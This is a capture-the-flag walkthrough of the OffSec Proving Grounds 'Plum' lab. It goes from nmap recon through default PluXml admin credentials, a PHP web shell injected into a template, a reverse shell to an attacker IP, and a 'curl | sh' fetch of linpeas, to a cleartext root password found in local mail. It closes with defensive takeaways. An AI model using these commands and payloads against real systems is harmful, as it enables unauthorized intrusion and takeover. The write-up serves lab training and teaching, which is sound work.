OffSec Proving Grounds Plum — PluXml Default Creds to Root
In this Art of Vector walkthrough, we take OffSec Proving Grounds Plum from initial recon to full root access by abusing default admin credentials in PluXml, weaponizing template editing for command execution, and pivoting from a web shell to mailbox credential reuse.
Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.
Summary
Plum is a focused Linux web box with only two exposed services: SSH on 22 and Apache on 80. The web front page identifies PluXml, and the admin panel accepts default credentials.
That foothold is enough to reach a dangerous feature: template editing. A public PluXml 5.8.7 PoC shows how to inject a command web shell into static.php, then trigger it with a reverse shell payload. Initial access lands as www-data, and privilege escalation comes from sensitive credentials left in local mail, allowing su root.
Enumeration
Nmap
Start with a full TCP scan plus service/version detection and default scripts:
nmap -sV -sC -p- 192.168.120.28 -v
The host exposes only two ports:
22/tcp open ssh OpenSSH 8.4p1 Debian
80/tcp open http Apache httpd 2.4.56 (Debian)
The web title is the first major clue:
http-title: PluXml - Blog or CMS, XML powered !
With no extra services and no obvious SSH path, the CMS becomes the primary attack surface.
Web entry point
The admin panel is reachable at:
http://192.168.120.28/core/admin/auth.php?p=/core/admin/
In this lab instance, default credentials work:
username: admin
password: admin
That immediately upgrades anonymous web access into authenticated CMS admin access.
Exploitation path
PluXml authenticated RCE
Once authenticated, the published PoC for PluXml 5.8.7 can be used to automate template modification:
- PoC reference: erlaplante/pluxml-rce
- Core idea: edit
static.php, inject<?php system($_GET['cmd']); ?>, then execute OS commands through a controlled request.
Run it with attacker callback details:
python poc.py http://192.168.120.28 admin admin 192.168.45.209 5555
Listener:
penelope -p 5555
Expected result is a reverse shell session as the web server user:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Why this works
This chain is effective because three conditions align:
- Administrative panel is reachable from attacker network.
- Default credentials remain valid.
- Admin-side template editing allows writing executable PHP into rendered files.
That turns "CMS admin" into direct command execution on the underlying host.
Privilege escalation
Local situational awareness
After foothold, host enumeration points to local mail artifacts:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
linpeas highlights mail files under:
/var/mail/www-data/var/spool/mail/www-data
Process monitoring (pspy) also confirms local services like Exim are active, reinforcing mail as a useful place to look.
Credential discovery in mailbox
Reading the mail spool reveals a high-impact operational mistake:
cat /var/mail/www-data
Message content includes root credentials in cleartext:
root:6s8kaZZNaZZYBMfh2YEW
Use those credentials directly:
su root
id
Result:
uid=0(root) gid=0(root) groups=0(root)
Root outcome
Plum demonstrates a realistic compromise chain that does not require a kernel exploit or complex local privilege escalation:
- recon finds a narrow surface (
22,80) - app fingerprinting identifies PluXml
- default admin credentials provide authenticated control
- template editing becomes RCE and yields
www-data - mailbox credential leakage provides
root
Why this machine is a good lesson
The main lesson is operational hygiene, not exploit novelty.
Even when internet-facing services are minimal, weak application administration and poor secret handling can collapse host security quickly. Default CMS credentials and plaintext privileged secrets are both preventable controls that, if fixed, would break this chain.
Defensive takeaways
- Enforce unique admin credentials during installation; block or rotate defaults.
- Restrict admin panels by network and strong authentication controls.
- Treat template/plugin editors as code-execution surfaces and harden accordingly.
- Never transmit or store privileged credentials in plaintext email.
- Monitor and alert on suspicious template file changes and outbound callbacks.
References
Unauthorized access is illegal. This write-up is for education and authorized lab work only.
